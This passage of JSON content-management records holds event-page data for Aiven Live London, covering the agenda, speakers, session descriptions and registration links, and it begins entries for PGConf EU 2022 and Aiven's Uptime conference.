relationships"},{"_key":"88d0bc0cd40d20f400a4344bc831ed61","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"e26b8e04bcc3","_type":"block","children":[{"_key":"9ea4020f3d3b0","_type":"span","marks":[],"text":"Dive into the hot topics of open source data infrastructure, interact with experts, and elevate your projects by mastering the modern data landscape."}],"markDefs":[],"style":"normal"}],"title":"Hot topics on open source data infra"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","title":"Top 3 reasons to attend Aiven Live"},{"_key":"2b6b91e161ebabd8ab2e2109cba5a8a6","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","caption":[{"_key":"ed1fdca3dc58","_type":"block","children":[{"_key":"6df883d928830","_type":"span","marks":[],"text":"Photos from Aiven Live London"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Aiven Live London event montage","asset":{"_ref":"image-4233e3d3ed6db491e182d0489c74c0d5f2e0ca2c-1899x1246-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none"},{"_key":"40a82780099bfc6dea90b62845549811","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-c739d8bf1a345c9ce723b3e372243743f1db5425-1580x352-svg","_type":"reference"}},"backgroundPosition":"right center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":true,"headerPosition":"left","items":[{"_key":"f4f7536da4b2","_type":"cardItem","subtitle":[{"_key":"11d4e2515f00","_type":"block","children":[{"_key":"46ab86fd9f280","_type":"span","marks":[],"text":"Why you shouldn't run your own data infrastructure platform. Free up your resources for high value business transformation activities."}],"markDefs":[],"style":"normal"},{"_key":"2b7e39635a5d","_type":"block","children":[{"_key":"b20eb54bffb50","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"fff7c2231b57","_type":"block","children":[{"_key":"1e3286d22254","_type":"span","marks":[],"text":"Jon Collins"}],"markDefs":[],"style":"normal"}],"tagline":"Cost optimization","title":"The Day 1-2-3 of Data Platforms","variant":"default"},{"_key":"99fe79b7318e259a5c4a0c12c8d5eb4a","_type":"cardItem","subtitle":[{"_key":"dd3558fc4ef8","_type":"block","children":[{"_key":"d04365b30c750","_type":"span","marks":[],"text":"Everyone wants the perfect answer to their data problems. Let’s talk about using the right tool for the right job and gaining the ability to scale correctly."}],"markDefs":[],"style":"normal"},{"_key":"2b7e39635a5d","_type":"block","children":[{"_key":"b20eb54bffb50","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"065474613f69","_type":"block","children":[{"_key":"e4ef2c7b5c950","_type":"span","marks":[],"text":"Ben Gamble \u0026 Dave Beech"}],"markDefs":[],"style":"normal"}],"tagline":"Open Source Innovation","title":"Breaking Up the Data Monolith","variant":"default"},{"_key":"5f48456c393d11378982146af291d47d","_type":"cardItem","subtitle":[{"_key":"526a5861cb61","_type":"block","children":[{"_key":"a4da92347b1a0","_type":"span","marks":[],"text":"In this session, we'll delve into overcoming innovation challenges in today's rapid business environment. Learn how open source, multi-cloud strategies, and self-service data solutions can keep you ahead. Hear from Aiven's notable customers like Revenir, Hookdeck, and Dojo about their innovative journeys."}],"markDefs":[],"style":"normal"},{"_key":"2b7e39635a5d","_type":"block","children":[{"_key":"b20eb54bffb50","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"98c18b45c033","_type":"block","children":[{"_key":"d4aecc43a9f50","_type":"span","marks":[],"text":"Moderator: Cara Baestlein\nPanelists: Sandeep Mehta, Phil Leggetter, Brian Wagner"}],"markDefs":[],"style":"normal"}],"tagline":"Peer 2 Peer","title":"Data Unleashed: How a Data Platform Drives Innovation","variant":"default"},{"_key":"a272fdf5dca91ce77040b2aeba5bc6d0","_type":"cardItem","subtitle":[{"_key":"bf36ea9dc89e","_type":"block","children":[{"_key":"446c45d30cff0","_type":"span","marks":[],"text":"Why Aiven + Hyperscaler delivers more value than standalone offering. Flexible deployment options including BYOC. Standardized OS data planes to move your data in and out."}],"markDefs":[],"style":"normal"},{"_key":"2b7e39635a5d","_type":"block","children":[{"_key":"b20eb54bffb50","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"46aa99005b94","_type":"block","children":[{"_key":"9befe1a447550","_type":"span","marks":[],"text":"Elena Zykova"}],"markDefs":[],"style":"normal"}],"tagline":"Deployment Flexibility","title":"How collaboration with hyperscalers and ecosystems creates better outcomes","variant":"default"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tl-br","subtitle":[{"_key":"da49cda0e54e","_type":"block","children":[{"_key":"39d03020b38b","_type":"span","marks":[],"text":"Fill in the form to access the session recording now."}],"markDefs":[],"style":"normal"},{"_key":"5183b589f901","_type":"block","children":[{"_key":"aee59e16729a","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"3e12dde23322","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","iframeHeight":490,"iframeSource":"https://go.aiven.io/l/890043/2023-10-31/t8qkx","iframeTitle":"Aiven Live London session recordings","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"}],"tagline":"On-demand sessions","title":"Hear from industry experts at Aiven Live London"},{"_key":"9a24a2cc948a63c784359653d5ba3ac5","_type":"agenda","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","carouselImages":[{"_key":"6cb309f6c546","_type":"imageItem","image":{"_type":"mainImage","asset":{"_ref":"image-9a104fde97aba6f48c388a47d3c2693b2b073a38-1426x1900-jpg","_type":"reference"}},"tagLine":"Agenda","title":"A day of breakthroughs \u0026 insights"},{"_key":"5aac70c6a70fa77e1db093b1433212c4","_type":"imageItem","image":{"_type":"mainImage","asset":{"_ref":"image-daf1e60d2f150a9d13f767d0f7e46d139818337d-1426x1900-jpg","_type":"reference"}},"tagLine":"Agenda","title":"Packed with exciting conversations"},{"_key":"da3cfb7eb7ebd829a299173ac2e8156c","_type":"imageItem","image":{"_type":"mainImage","asset":{"_ref":"image-6f61c4291d4c5af061ace91c31d55524f6f73066-1426x1900-jpg","_type":"reference"}},"tagLine":"Agenda","title":"Hot topics on open source data infrastructure"}],"disabled":true,"eventSessions":[{"_key":"897d9950a4bf","_type":"eventSession","items":[{"_key":"f455f7d0ba9c","_type":"eventSessionItem","category":"Registration and breakfast","description":[{"_key":"48034ff2b58f","_type":"block","children":[{"_key":"a333b95963220","_type":"span","marks":[],"text":"Grab your badge, a coffee, and your seat before we get started"}],"markDefs":[],"style":"normal"}],"time":"8:30 - 9:45","title":"Kick start the exciting day ahead!"},{"_key":"25bef1d1312033acd03da4a1df207ef6","_type":"eventSessionItem","category":"Opening Remarks","description":[{"_key":"1d0fceabad2b","_type":"block","children":[{"_key":"ae207f829f490","_type":"span","marks":[],"text":"Heikki Nousiainen, CTO and Co-Founder, Aiven"}],"markDefs":[],"style":"normal"}],"time":"9:45 - 9:55","title":"Welcome to Aiven Live!"},{"_key":"ae370fd2341d","_type":"eventSessionItem","category":"Keynote","description":[{"_key":"a55397a4e0f7","_type":"block","children":[{"_key":"09c72e30939b","_type":"span","marks":[],"text":"Jon Collins, VP Engagement and Senior Analyst at GigaOm"}],"markDefs":[],"style":"normal"}],"time":"9:55 - 10:30","title":"The Day 1-2-3 of Data Platforms"},{"_key":"20bae4daf5d7","_type":"eventSessionItem","category":"Session","description":[{"_key":"4dc628eafa4a","_type":"block","children":[{"_key":"0b79d2fd6d480","_type":"span","marks":[],"text":"Ben Gamble, Enterprise \u0026 Solutions Marketing Lead, Aiven"}],"markDefs":[],"style":"normal"},{"_key":"fa96ef55be77","_type":"block","children":[{"_key":"a033379b8143","_type":"span","marks":[],"text":"Dave Beech, Manager, Solution Architecture EMEA, Aiven"}],"markDefs":[],"style":"normal"}],"time":"10:30-11:00","title":"Breaking Up the Data Monolith"},{"_key":"6a9284e08f0d","_type":"eventSessionItem","category":"Break","description":[{"_key":"3b36a697a139","_type":"block","children":[{"_key":"62b666ce201e0","_type":"span","marks":[],"text":"Grab your second (or third) coffee and network a bit."}],"markDefs":[],"style":"normal"}],"time":"11:00 - 11:20","title":"Let's take a breather"},{"_key":"669a7e0871c6","_type":"eventSessionItem","category":"Panel","description":[{"_key":"c47f5a44e46c","_type":"block","children":[{"_key":"7325894e28400","_type":"span","marks":[],"text":"Moderator: "}],"markDefs":[],"style":"normal"},{"_key":"d967f7f52bee","_type":"block","children":[{"_key":"d1e4d298387b","_type":"span","marks":[],"text":"Cara Baestlein, Director of Product Management, Aiven\n"}],"markDefs":[],"style":"normal"},{"_key":"d1390f1740de","_type":"block","children":[{"_key":"d2f7ce4295cc0","_type":"span","marks":[],"text":"Panelists:"}],"markDefs":[],"style":"normal"},{"_key":"cf295bb03fec","_type":"block","children":[{"_key":"ab4e497c52db0","_type":"span","marks":[],"text":"Sandeep Mehta,Engineering Lead Data Platforms, Dojo\nPhil Leggetter, Head of Developer Relations \u0026 PLG, Hookdeck\nBrian Wagner, CTO, Revenir"}],"markDefs":[],"style":"normal"}],"time":"11:20 - 12:00","title":"Data Unleashed: How a Data Platform Drives Innovation"},{"_key":"498db7b97825","_type":"eventSessionItem","category":"Session","description":[{"_key":"5eb9b8e54d0c","_type":"block","children":[{"_key":"78a48a5f1d31","_type":"span","marks":[],"text":"Elena Zykova, VP of OEM and Partnerships, Aiven"}],"markDefs":[],"style":"normal"}],"time":"12:00 - 12:20","title":"How collaboration with hyperscalers and ecosystems creates better outcomes"},{"_key":"fef0a829ea02","_type":"eventSessionItem","category":"Break","description":[{"_key":"748061e9027e","_type":"block","children":[{"_key":"b81e1eef14f8","_type":"span","marks":[],"text":"Who said there's no such thing as a free lunch?"}],"markDefs":[],"style":"normal"}],"time":"12:20 - 13:30","title":"Lunch"}],"title":"Your morning"},{"_key":"d35fddd09294e1a5534df0f8800b363f","_type":"eventSession","items":[{"_key":"f455f7d0ba9c","_type":"eventSessionItem","category":"Breakout Session","description":[{"_key":"f9d434a0f6d2","_type":"block","children":[{"_key":"89203e6f426e0","_type":"span","marks":[],"text":"Session 1: Seamless scaling of data solutions with tiered storage "}],"markDefs":[],"style":"normal"},{"_key":"8b17f0dae524","_type":"block","children":[{"_key":"b480e8b7403c","_type":"span","marks":[],"text":"Ben Gamble, Enterprise \u0026 Solutions Marketing Lead, Aiven"}],"markDefs":[],"style":"normal"},{"_key":"3acad8978057","_type":"block","children":[{"_key":"210a5fd837a2","_type":"span","marks":[],"text":"Session 2: Introduction to Change Data Capture (CDC) patterns"}],"markDefs":[],"style":"normal"},{"_key":"d5ad14d480bb","_type":"block","children":[{"_key":"bbb15e7ab7140","_type":"span","marks":[],"text":"Morvarid Aprin, Senior Solution Architect, Aiven"}],"markDefs":[],"style":"normal"},{"_key":"b9522b099320","_type":"block","children":[{"_key":"063324980fce","_type":"span","marks":[],"text":"Session 3: Accelerate Generative AI development with integrated data platforms"}],"markDefs":[],"style":"normal"},{"_key":"30314cfb414e","_type":"block","children":[{"_key":"fb0a2df6f592","_type":"span","marks":[],"text":"Francesco Tisiot, Staff Developer Advocate, Aiven"}],"markDefs":[],"style":"normal"}],"time":"13:30 - 14:30","title":"Track 1"},{"_key":"e099e87c5ebe","_type":"eventSessionItem","category":"Breakout Session","description":[{"_key":"56620090c3c0","_type":"block","children":[{"_key":"16bfd810a234","_type":"span","marks":[],"text":"Session 1: Revolutionizing Healthcare through Open-Source Platforms: A Data-Driven Journey to Better Patient Care"}],"markDefs":[],"style":"normal"},{"_key":"eb2d83ebee97","_type":"block","children":[{"_key":"9c4132c23214","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"2e08fc18422d","_type":"block","children":[{"_key":"44a23af5ed55","_type":"span","marks":[],"text":"Andra Nuta, Startup Program Manager, Aiven"}],"markDefs":[],"style":"normal"},{"_key":"e795b6af662c","_type":"block","children":[{"_key":"f0cba537450c","_type":"span","marks":[],"text":"Matthew Huxtable, Staff Platform Engineer, Doccla"}],"markDefs":[],"style":"normal"},{"_key":"525f7f8706c3","_type":"block","children":[{"_key":"acff97294164","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"f6d4f217bc25","_type":"block","children":[{"_key":"eb90b4f4b4fe","_type":"span","marks":[],"text":"Session 2: Enabling Self Service Data Infrastructure with OPA and Terraform"}],"markDefs":[],"style":"normal"},{"_key":"fa95fcbbe4d8","_type":"block","children":[{"_key":"6554c9e7cd7d","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"6dc2591745ba","_type":"block","children":[{"_key":"c7c272adb96d","_type":"span","marks":[],"text":"Nic Jackson, Principal Developer Advocate, HashiCorp"}],"markDefs":[],"style":"normal"},{"_key":"e461280c5c83","_type":"block","children":[{"_key":"016378957292","_type":"span","marks":[],"text":"Rob Barnes, Senior Developer Advocate ii, HashiCorp"}],"markDefs":[],"style":"normal"}],"time":"13:30 - 14:30","title":"Track 2"},{"_key":"9e350e53abe2","_type":"eventSessionItem","category":"Session","description":[{"_key":"47438c4cb0a3","_type":"block","children":[{"_key":"54e940219e020","_type":"span","marks":[],"text":"Cara Baestlein, Director of Product Management, Aiven"}],"markDefs":[],"style":"normal"},{"_key":"bb9b89d7884c","_type":"block","children":[{"_key":"0457a08c89f40","_type":"span","marks":[],"text":"John Joseph Kennedy, Product Director, Aiven"}],"markDefs":[],"style":"normal"}],"time":"14:30 - 15:00","title":"What's next with Aiven?"},{"_key":"9b6078c5eea5","_type":"eventSessionItem","category":"Closing Remarks","description":[{"_key":"17ec2d32f54a","_type":"block","children":[{"_key":"314b11dbf2ae","_type":"span","marks":[],"text":"Heikki Nousiainen, CTO, Aiven"}],"markDefs":[],"style":"normal"}],"time":"15:00 - 15:15","title":"Thanks for joining us!"},{"_key":"c249d068bb84","_type":"eventSessionItem","category":"Networking Hour","description":[{"_key":"a77518e6f427","_type":"block","children":[{"_key":"ce6c66dac356","_type":"span","marks":[],"text":"Grab a drink and chat with other Aiven Live attendees"}],"markDefs":[],"style":"normal"}],"time":"15:15 - 16:30","title":"Closing Ceremony"}],"title":"Your afternoon"}],"fullWidth":false,"id":"agenda","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"b08d953c377a","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":true,"align":"center","avatars":[{"_key":"88ce29ed46e2","_ref":"221ba44a-9a77-4ee5-a883-63cdfb045660","_type":"reference"},{"_key":"a3e1d3ee7066","_ref":"4880f9d4-e370-446d-abd2-4f17cc584360","_type":"reference"},{"_key":"ca4081f424e5","_ref":"7973a69c-4582-41de-906f-5f5fd31f4d9c","_type":"reference"},{"_key":"7e5b3b463ffc","_ref":"f6ba67b5-89c5-417f-a1ac-56ea55c20650","_type":"reference"},{"_key":"f4ee5653a8e4","_ref":"8cfcc5d4-1ef6-48c1-a50e-0d8445bf8ac7","_type":"reference"},{"_key":"523493181eba","_ref":"0f1f8df8-71af-43f8-b433-d036748c2043","_type":"reference"},{"_key":"f95657ccb3d2","_ref":"06351859-4133-4e23-8ce0-c21b375ab138","_type":"reference"},{"_key":"b393b9285873","_ref":"a36e758b-f829-4f67-9f99-7e1772eb73d8","_type":"reference"},{"_key":"7b2c4a3be37e","_ref":"4dec0310-59dd-4806-be49-d27237f5cdb5","_type":"reference"},{"_key":"31b96358a880","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"},{"_key":"755d4d78981e","_ref":"b6931b62-e94c-4237-a630-83c9b80855d1","_type":"reference"},{"_key":"16134236fa24","_ref":"2773b73e-82c0-4385-87d7-fd8b6f5e62a1","_type":"reference"},{"_key":"b7ee0cd5905e","_ref":"42e38a6c-1cce-4dc0-8cc5-fb8021874c34","_type":"reference"},{"_key":"bf382168a6e8","_ref":"6ecf75d4-d400-4a27-9eb3-c3f0f0eaa73f","_type":"reference"}],"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"id":"speakers","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","showProfilePage":false,"title":"Meet our speakers","variant":"default"},{"_key":"82db22c652e2","_type":"logoList","addSpaceBottom":false,"addSpaceTop":true,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"grayscale":false,"id":"partners","logos":[{"_key":"7be17d103355","_ref":"c1551eb4-62d2-43e5-8b04-7afcbf45eff2","_type":"reference"},{"_key":"0ef61f1fd429","_ref":"3aeed013-8049-4126-87df-a37af41ae111","_type":"reference"},{"_key":"2fe5f69cb7a2","_ref":"1b22d545-7abf-4b09-b314-93ca43cc3922","_type":"reference"},{"_key":"15a06052dd45","_ref":"d3621e84-f1a2-41c1-bf9b-e92e70b231ef","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"showLogoCaption":false,"tagline":"Meet our sessions partners","variant":"logo"},{"_key":"a0ad4314d7f2","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-c739d8bf1a345c9ce723b3e372243743f1db5425-1580x352-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-c739d8bf1a345c9ce723b3e372243743f1db5425-1580x352-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/events/aiven-live-nyc","title":"Register for free"},"roundedCorners":"rounded-none","subtitle":[{"_key":"bf03a3a45bde","_type":"block","children":[{"_key":"feec6db54a92","_type":"span","marks":[],"text":"Join us on February 28th for the first-ever Aiven Live event in NYC! Learn best practices from industry experts, meet new peers, and enjoy a day that's all about open source and data technologies. "}],"markDefs":[],"style":"normal"}],"title":"Aiven Live coming to New York City","variant":"centerColumn"}],"eventDetails":[{"_key":"a78ab9358721","_type":"block","children":[{"_key":"409105bc77e4","_type":"span","marks":[],"text":"Join us on December 12th for the first ever Aiven Live! "}],"markDefs":[],"style":"normal"},{"_key":"f9c37ef9224d","_type":"block","children":[{"_key":"736880b167b7","_type":"span","marks":[],"text":"What should you expect?"}],"markDefs":[],"style":"normal"},{"_key":"a0df7f83ddb4","_type":"block","children":[{"_key":"c5bd313daba1","_type":"span","marks":[],"text":"Hear best practices from industry experts from GigaOm, Revenir, Dojo, Hookdeck, Wolt, and more!"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"add1f80d60bb","_type":"block","children":[{"_key":"593c61850a1a","_type":"span","marks":[],"text":"Network with your peers and participate in thoughtful conversation"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ca4958495d5e","_type":"block","children":[{"_key":"12bdcb38ee3b","_type":"span","marks":[],"text":"Learn more about the world of Aiven, directly from the experts"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"eventTitle":"Aiven Live London","heroWithCountdown":true,"iframeForm":{"iframeHeader":"Register now to secure your seat","iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2023-10-03/t4g7m"},"image":{"_type":"mainImage","asset":{"_ref":"image-d6c48c65457d691df1e15fc71bb5a22b367ff884-6343x2528-jpg","_type":"reference"}},"registrationType":"iframe","replaceContent":false,"thankyouContent":[{"_key":"d5278a92ec91264b7e36ef5211e80be8","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Access on-demand sessions below","variant":"oneColumn"},{"_key":"a331f368933b","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"Cost optimization","text":[{"_key":"c2a4bf799beb","_type":"block","children":[{"_key":"19d7dd3287ba0","_type":"span","marks":[],"text":"Why you shouldn't run your own data infrastructure platform. Free up your resources for high value business transformation activities."}],"markDefs":[],"style":"normal"},{"_key":"dee03d4039a2","_type":"block","children":[{"_key":"a779502c240b0","_type":"span","marks":[],"text":"Jon Collins, VP of Engagement, GigaOm"}],"markDefs":[],"style":"normal"}],"title":"The Day 1-2-3 of Data Platforms","variant":"mediaLeft","ytId":"GRC8RLW8PzA"},{"_key":"76ef26ba59cabca1563eb3aad8431e26","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"Open Source Innovation","text":[{"_key":"b12440ed7adf","_type":"block","children":[{"_key":"4f63b5ad04ad0","_type":"span","marks":[],"text":"Everyone wants the perfect answer to their data problems. Let’s talk about using the right tool for the right job and gaining the ability to scale correctly."}],"markDefs":[],"style":"normal"},{"_key":"b1c1d7afc5a4","_type":"block","children":[{"_key":"8d42f7dea1140","_type":"span","marks":[],"text":"Ben Gamble, Enterprise \u0026 Solutions Marketing Lead, Aiven\nDave Beech, Staff Solution Architect, Aiven"}],"markDefs":[],"style":"normal"}],"title":"Breaking Up the Data Monolith","variant":"mediaRight","ytId":"GRC8RLW8PzA"},{"_key":"02f735b31c520a4273ef639f7e42bb38","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"Peer 2 Peer","text":[{"_key":"3528afd818df","_type":"block","children":[{"_key":"c9b173debd4a0","_type":"span","marks":[],"text":"In this session, we'll delve into overcoming innovation challenges in today's rapid business environment. Learn how open source, multi-cloud strategies, and self-service data solutions can keep you ahead. Hear from Aiven's notable customers like Revenir, Hookdeck, and Dojo about their innovative journeys."}],"markDefs":[],"style":"normal"},{"_key":"ff32608c669d","_type":"block","children":[{"_key":"346ea26154ce0","_type":"span","marks":[],"text":"Moderator: \nCara Baestlein, Director of Product Management, Experience, Aiven"}],"markDefs":[],"style":"normal"},{"_key":"c43d50507af3","_type":"block","children":[{"_key":"5f3b68c93463","_type":"span","marks":[],"text":"\nPanelists: \nSandeep Mehta, Engineering Lead Data Platforms, Dojo\nPhil Leggetter, Head of Developer Relations \u0026 PLG, Hookdeck \nBrian Wagner, CTO, Revenir"}],"markDefs":[],"style":"normal"}],"title":"Data Unleashed: How a Data Platform Drives Innovation","variant":"mediaLeft","ytId":"GRC8RLW8PzA"},{"_key":"9dbf0617d24b0f120a901a461f4eea32","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"Deployment flexibility","text":[{"_key":"dc0a45302f75","_type":"block","children":[{"_key":"d085443913400","_type":"span","marks":[],"text":"Why Aiven + Hyperscaler delivers more value than standalone offering. Flexible deployment options including BYOC. Standardized OS data planes to move your data in and out."}],"markDefs":[],"style":"normal"},{"_key":"9e32c4cf798c","_type":"block","children":[{"_key":"db03f0a3c5530","_type":"span","marks":[],"text":"Elena Zykova, VP of Partnerships and OEM, Aiven"}],"markDefs":[],"style":"normal"}],"title":"How collaboration with hyperscalers and ecosystems creates better outcomes","variant":"mediaRight","ytId":"GRC8RLW8PzA"},{"_key":"58ba7421ec82","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":true,"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-c739d8bf1a345c9ce723b3e372243743f1db5425-1580x352-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-c739d8bf1a345c9ce723b3e372243743f1db5425-1580x352-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/events/aiven-live-nyc","title":"Register for free"},"roundedCorners":"rounded-none","subtitle":[{"_key":"ee8f030fbe92","_type":"block","children":[{"_key":"29176249c069","_type":"span","marks":[],"text":"Join us on February 28th for the first-ever Aiven Live event in NYC! Learn best practices from industry experts, meet new peers, and enjoy a day that's all about open source and data technologies. "}],"markDefs":[],"style":"normal"}],"title":"Aiven Live coming to New York City","variant":"centerColumn"}]},"primaryCTA":{"_type":"link","externalUrl":"https://aiven-fly.fly.dev/events/aiven-live-london","title":"Register"},"region":"EMEA","seo":{"_type":"metaData","metaDescription":"Join us on December 12th for Aiven Live in London. Learn more about unlocking business value with an open source data platform and network with your peers.","metaImage":{"_type":"mainImage","alt":"Aiven Live London","asset":{"_ref":"image-4632134f3f63013d23c2541368ba83967a54f81e-1200x628-png","_type":"reference"}},"metaTitle":"Aiven Live London"},"slug":{"_type":"slug","current":"/events/aiven-live-london"},"startDate":"2023-12-12T08:30:00.000Z","talks":[{"_key":"eb967cf5d3e3","_type":"talk","description":[{"_key":"b7e08942c198","_type":"block","children":[{"_key":"332d7b5cede1","_type":"span","marks":[],"text":"Joined by Dave Beech, Manager Solution Architecture EMEA at Aiven, Ben will break up the data monolith bit by bit. "}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"c20d23914f1a","_ref":"7973a69c-4582-41de-906f-5f5fd31f4d9c","_type":"reference"}],"title":"Breaking Up the Data Monolith"},{"_key":"ec31f70adc87","_type":"talk","description":[{"_key":"1991bd10e70a","_type":"block","children":[{"_key":"3daa8c60a914","_type":"span","marks":[],"text":"In a lightning talk for data practitioners, Ben will demo the seamless scaling of data solutions with tiered storage."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"7258e094c4a6","_ref":"7973a69c-4582-41de-906f-5f5fd31f4d9c","_type":"reference"}],"title":"Seamless scaling of data solutions with tiered storage"}],"title":"Aiven Live London","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-08-29T08:11:00Z","_id":"a1b7661b-ac09-4dfa-acf3-fc84f7d7c608","_rev":"JgIs2qI3CUllaKCG3WJWEr","_type":"event","_updatedAt":"2023-08-29T08:11:00Z","country":"DE","description":[{"_key":"62e72f85e9fc","_type":"block","children":[{"_key":"6cfc412f4481","_type":"span","marks":[],"text":"Join Francesco for his talk \"Put PostgreSQL at the center of your (meta)data universe!\"."}],"markDefs":[],"style":"normal"}],"endDate":"2022-10-28T15:00:00.000Z","location":"Berlin","region":"EMEA","startDate":"2022-10-25T07:00:00.000Z","talks":[{"_key":"1e5626bc53aa","_type":"talk","description":[{"_key":"39ed8bb9b78d","_type":"block","children":[{"_key":"36bc01bbcdd10","_type":"span","marks":[],"text":"This talk is about the hidden treasure stored in the metadata: starting by defining use cases, we'll then focus on how we can design a system, based on PostgreSQL and some graph theory, that collects, merges and exposes metadata coming from a variety of tools.\n\n- "},{"_key":"21c6d227bf98","_type":"span","marks":["bc85dd8b0e92"],"text":"Slides"}],"markDefs":[{"_key":"bc85dd8b0e92","_type":"link","href":"https://ftisiot.net/talks/pg-metadata/"}],"style":"normal"}],"speakers":[{"_key":"10e0db569be4","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"}],"title":"Put PostgreSQL at the center of your (meta)data universe!"}],"title":"PGConf EU 2022","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-08-29T08:27:23Z","_id":"c833e727-fd62-4712-81e3-bac9129d7680","_rev":"pv5QzE4Lm79BNhDrjkCuIJ","_type":"event","_updatedAt":"2023-08-29T08:27:23Z","country":"NL","description":[{"_key":"cc395defcc95","_type":"block","children":[{"_key":"480a1e556724","_type":"span","marks":[],"text":"Aiven's Uptime conference featured sessions by many industry experts: https://uptime.aiven.io/ "}],"markDefs":[],"style":"normal"}],"endDate":"2022-09-15T15:00:00.000Z","location":"Amsterdam","region":"EMEA","startDate":"2022-09-14T07:00:00.000Z","talks":[{"_key":"eba29d26927f","_type":"talk","description":[{"_key":"b5165afa0475","_type":"block","children":[{"_key":"8817298df7cf0","_type":"span","marks":[],"text":"If you want to programmatically keep control over your dynamic data assets, this session is for you!\n\n- 